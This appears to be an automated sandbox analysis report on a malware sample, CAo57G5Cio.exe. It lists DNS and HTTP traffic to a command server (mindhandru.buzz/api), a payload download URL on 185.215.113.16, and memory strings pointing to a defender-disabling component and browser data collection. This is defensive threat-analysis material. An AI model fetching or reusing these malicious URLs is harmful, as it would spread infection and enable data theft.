Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000133A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: CAo57G5Cio.exe, 00000000.00000002.1714823927.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000133A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: CAo57G5Cio.exe, 00000000.00000002.1714823927.00000000012C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe-
Source: CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000133A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe/
Source: CAo57G5Cio.exe, 00000000.00000002.1711872248.00000000009EA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeWebKit/537.36
Source: CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000133A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeu
Source: CAo57G5Cio.exe, 00000000.00000003.1606903883.000000000135D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe5
Source: CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: CAo57G5Cio.exe, 00000000.00000003.1490640919.000000000130F000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000131B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_96.7.dr	String found in binary or memory: http://schema.org/Organization
Source: CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: CAo57G5Cio.exe, 00000000.00000003.1411807572.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_96.7.dr, chromecache_81.7.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_96.7.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_96.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_96.7.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_96.7.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_96.7.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_96.7.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_96.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_96.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_96.7.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_96.7.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_96.7.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_96.7.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_96.7.dr	String found in binary or memory: https://github.com/nschonni
Source: chromecache_96.7.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000133A000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1638822368.0000000001345000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1387582485.00000000059E9000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1638689895.000000000133A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: CAo57G5Cio.exe, 00000000.00000003.1606998403.000000000133A000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1638822368.0000000001345000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1638689895.000000000133A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/1
Source: CAo57G5Cio.exe, 00000000.00000003.1438476066.00000000059E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/MSWznTY69wwRW38B95
Source: CAo57G5Cio.exe, 00000000.00000003.1465803258.0000000001347000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/a
Source: CAo57G5Cio.exe, CAo57G5Cio.exe, 00000000.00000003.1440667001.00000000059F7000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000002.1714823927.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1608560210.00000000012E2000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1438498411.00000000059F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: CAo57G5Cio.exe, 00000000.00000003.1411629292.00000000059E1000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1411996809.00000000059E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiPcG3
Source: CAo57G5Cio.exe, 00000000.00000003.1437884501.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1437950868.00000000059EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiU
Source: CAo57G5Cio.exe, 00000000.00000003.1377012632.00000000059E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apit
Source: CAo57G5Cio.exe, 00000000.00000003.1608560210.00000000012E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api~
Source: CAo57G5Cio.exe, 00000000.00000003.1377012632.00000000059E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/v
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_116.7.dr	String found in binary or memory: https://schema.org
Source: CAo57G5Cio.exe, 00000000.00000003.1412889477.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CAo57G5Cio.exe, 00000000.00000003.1412889477.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_116.7.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: CAo57G5Cio.exe, 00000000.00000003.1354607106.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354545959.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000003.1354684234.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_95.7.dr, chromecache_116.7.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: CAo57G5Cio.exe, 00000000.00000003.1412889477.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: CAo57G5Cio.exe, 00000000.00000003.1412889477.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: CAo57G5Cio.exe, 00000000.00000003.1412889477.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: CAo57G5Cio.exe, 00000000.00000003.1412889477.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: CAo57G5Cio.exe, 00000000.00000003.1412889477.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.7:49757 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: CAo57G5Cio.exe	Static PE information: section name:
Source: CAo57G5Cio.exe	Static PE information: section name: .rsrc
Source: CAo57G5Cio.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132AD58	0_3_0132AD58
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132ADDF	0_3_0132ADDF
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132AD58	0_3_0132AD58
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132ADDF	0_3_0132ADDF
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132AD58	0_3_0132AD58
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132ADDF	0_3_0132ADDF
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_059F1F33	0_3_059F1F33
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_01326915	0_3_01326915
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132AC61	0_3_0132AC61
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132596D	0_3_0132596D
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_01326AB3	0_3_01326AB3
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_01325CB7	0_3_01325CB7
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_0132ADB9	0_3_0132ADB9
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_01327699	0_3_01327699
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_013260E0	0_3_013260E0
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_013264D7	0_3_013264D7
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Code function: 0_3_012E3506	0_3_012E3506

Source: CAo57G5Cio.exe, 00000000.00000003.1600717956.0000000005E02000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1594253028.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1597695401.0000000005EC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1596685683.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1613069272.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1623409194.0000000006084000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1612402008.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1594451185.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1603208048.0000000005F04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1604144550.0000000005E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1594653860.0000000005F39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1594351603.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1598238785.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1590060039.0000000005BF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1592081212.0000000005DFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1593574875.0000000005DFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1625654475.0000000005F52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1600186058.0000000005FE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1595050955.0000000005EAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1600455940.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1603877237.0000000005F0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1605064142.0000000006031000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1599871365.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1612840211.0000000005F35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1623623205.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1594951694.0000000005DFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1613538527.000000000606B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1612604201.0000000005DFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1624919060.000000000608D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000002.1719090227.0000000006356000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1605524782.0000000005F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1598984464.0000000005EF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1614726207.0000000005F3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1604573921.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1599602273.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
Source: CAo57G5Cio.exe, 00000000.00000003.1599731118.0000000005EEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs CAo57G5Cio.exe
